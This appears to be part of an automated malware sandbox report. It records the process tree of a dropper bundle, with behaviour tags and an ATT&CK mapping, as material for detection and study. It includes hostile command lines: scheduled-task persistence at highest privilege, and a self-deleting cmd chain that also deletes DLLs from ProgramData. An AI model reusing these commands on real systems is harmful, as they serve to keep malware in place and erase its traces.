C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1e8,0x1ec,0x1f0,0x1c4,0x1f4,0x7ff88db2dec0,0x7ff88db2ded0,0x7ff88db2dee0
6⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4636

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2436 /prefetch:1
6⤵
- Checks computer location settings
- Loads dropped DLL
PID:5912

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=2032 /prefetch:8
6⤵
- Loads dropped DLL
PID:2572

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=2016 /prefetch:8
6⤵
- Loads dropped DLL
- Checks whether UAC is enabled
- Modifies system certificate store
PID:4080

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1968 /prefetch:2
6⤵
PID:5720

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2820 /prefetch:1
6⤵
- Checks computer location settings
- Loads dropped DLL
PID:6128

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3300 /prefetch:2
6⤵
- Loads dropped DLL
PID:6936

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=3404 /prefetch:8
6⤵
- Loads dropped DLL
PID:2148

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=3300 /prefetch:8
6⤵
PID:4664

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=3536 /prefetch:8
6⤵
PID:6552

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=3924 /prefetch:8
6⤵
PID:7044

C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1920,12776749200641527296,5225821497630061563,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5576_191275870" --mojo-platform-channel-handle=2816 /prefetch:8
6⤵
PID:6600

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:68

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 68 -s 1544
4⤵
- Program crash
PID:5504

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun038db98f99bf9a.exe
Sun038db98f99bf9a.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:2004

C:\Users\Admin\Pictures\Adobe Films\yTy3pjskcaOH3SGW7DDHaAqG.exe
"C:\Users\Admin\Pictures\Adobe Films\yTy3pjskcaOH3SGW7DDHaAqG.exe"
2⤵
- Suspicious use of SetWindowsHookEx
PID:6068

C:\Users\Admin\Pictures\Adobe Films\BnaQE7vssOIGKiIFtluJLNOT.exe
"C:\Users\Admin\Pictures\Adobe Films\BnaQE7vssOIGKiIFtluJLNOT.exe"
2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6636

C:\Users\Admin\Pictures\Adobe Films\d3AMh7RrYP1XgER3nYdWgVrD.exe
"C:\Users\Admin\Pictures\Adobe Films\d3AMh7RrYP1XgER3nYdWgVrD.exe"
2⤵
- Drops file in Program Files directory
PID:6620

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:6280

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:1552

C:\Users\Admin\Pictures\Adobe Films\H6UM5D_oAJb1wY44F0H9W53a.exe
"C:\Users\Admin\Pictures\Adobe Films\H6UM5D_oAJb1wY44F0H9W53a.exe"
2⤵
PID:6616

C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe
"C:\Users\Admin\Pictures\Adobe Films\hschgIT73zIyo43yY5y_5zDy.exe"
2⤵
- Loads dropped DLL
PID:5720

C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe
"C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe"
2⤵
- Checks processor information in registry
PID:868

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im xcLVIwmxi_ZLJsepaVLcueHv.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\xcLVIwmxi_ZLJsepaVLcueHv.exe" & del C:\ProgramData\*.dll & exit
3⤵
PID:5032

C:\Windows\SysWOW64\taskkill.exe
taskkill /im xcLVIwmxi_ZLJsepaVLcueHv.exe /f
4⤵
- Kills process with taskkill
PID:2312

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
4⤵
- Delays execution with timeout.exe
PID:6380

C:\Users\Admin\Pictures\Adobe Films\CMCX11vCmko9R4RXJMdgUVL4.exe
"C:\Users\Admin\Pictures\Adobe Films\CMCX11vCmko9R4RXJMdgUVL4.exe"
2⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6472

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe
Sun03f5d51697d04.exe
1⤵
- Executes dropped EXE
PID:316

C:\Users\Admin\AppData\Local\Temp\is-6VGKL.tmp\Sun03f5d51697d04.tmp
"C:\Users\Admin\AppData\Local\Temp\is-6VGKL.tmp\Sun03f5d51697d04.tmp" /SL5="$6007C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3288

C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe" /SILENT
3⤵
- Executes dropped EXE
PID:1332

C:\Users\Admin\AppData\Local\Temp\is-1UPBS.tmp\Sun03f5d51697d04.tmp
"C:\Users\Admin\AppData\Local\Temp\is-1UPBS.tmp\Sun03f5d51697d04.tmp" /SL5="$401D8,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8A101816\Sun03f5d51697d04.exe" /SILENT
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3176

C:\Users\Admin\AppData\Local\Temp\is-ASRMA.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-ASRMA.tmp\postback.exe" ss1
5⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:2176

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3252

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
- Loads dropped DLL
PID:2844

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5936

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:4628

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:6616

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess
1⤵
- Modifies system executable filetype association
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
PID:4644

C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe
"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"
2⤵
- Modifies registry class
PID:900

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:5924

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Change Default File Association

T1042

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery